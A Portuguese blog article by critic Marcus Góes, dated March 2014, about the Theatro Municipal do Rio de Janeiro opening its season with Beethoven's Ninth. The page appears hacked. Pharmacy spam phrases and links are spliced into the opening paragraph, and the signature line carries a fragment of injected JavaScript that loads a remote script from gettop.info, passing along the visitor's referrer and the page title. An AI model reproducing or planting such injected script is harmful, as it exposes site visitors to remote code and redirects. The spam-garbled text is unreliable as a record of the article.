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Nona, de LvB – artigo de luxo

Cheap cheap benemid dosage Cheap Pills A Nona Sinfonia de Beethoven é uma dessas obras centrais e fundamentais da história da música. Cheap order hytrin online http://svitkom.cz/cost-of-famvir-without-insurance/ get zoloft prescription online

Só a menção de seu título é origem de imediatos emoção artística, respeito musical, apreço, prestígio, admiração. Forma talvez, em escolha livre e pessoal, com a Missa em si menor e a Paixão segundo São Mateus, de Bach, a Missa em dó menor, de Mozart, o Tristão e Isolda, de Wagner, e O Messias, de Händel, o conjunto de maiores obras de toda a música, o que obviamente é discutível, de acordo com o gosto e sentimento próprios de cada um. No entanto, pensamos que em uma votação de milhares de pessoas conhecedoras de música, a escolha acima não estará longe do resultado geral.

Pois foi essa obra de transcendental importância, beleza e magnitude que o TMRJ apresentou dia 14 do corrente com sua orquestra sinfônica, seu coro e solistas vocais, regidos pelo Maestro Isaac Karabtchevsky, Este já regeu a obra muitas vezes, o que lhe dá grande intimidade com a partitura e lhe traz uma certa facilidade para resolver problemas na execução das partes mais intrincadas.

Não pude estar presente, por motivo de saúde, mas posso entrever que, com o magnífico coro de nosso maior teatro e sua não menos excelente orquestra sinfônica a extraordinária (puxa,quanto adjetivo !!) obra tenha vindo a público em todo seu esplendor. Ainda mais com um ótimo quarteto de solistas vocais.

Mas atenção: esta não é uma crítica e sim um conjunto de afirmações e suposições. E nesse terreno tudo é possível. É notória (e aí  não estamos fazendo uma suposição) a intimidade do regente Isaac com a obra, mas nem sempre tudo dá certo. Aqui uma clarineta entra atrasada, ali um solista vocal desafina, acolá falta lirismo no adagio ou expressão alegre no scherzo. Não sabemos o que houve.

Este artigo se destina mais a dar relevo à acertada escolha do TMRJ ao abrir uma temporada de um teatro de música clássica, ballet e dança com a Nona Sinfonia de Beethoven, este gigante da música nunca superado, uma das obras mais marcantes e definidoras do que seria toda a música do romantismo do século XIX, mãe geral, fecunda e benéfica de tudo que veio depois dela.

Haverá os pobres de espírito musical que teriam preferido que o TMRJ abrisse seu ano com uma ópera italiana. A estes, um conselho: vão prá casa ver DVD.

DONUM FAC REMISSIONIS/ ANTE DIEM RATIONIS

MARCUS GÓES – MARÇO 2014s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.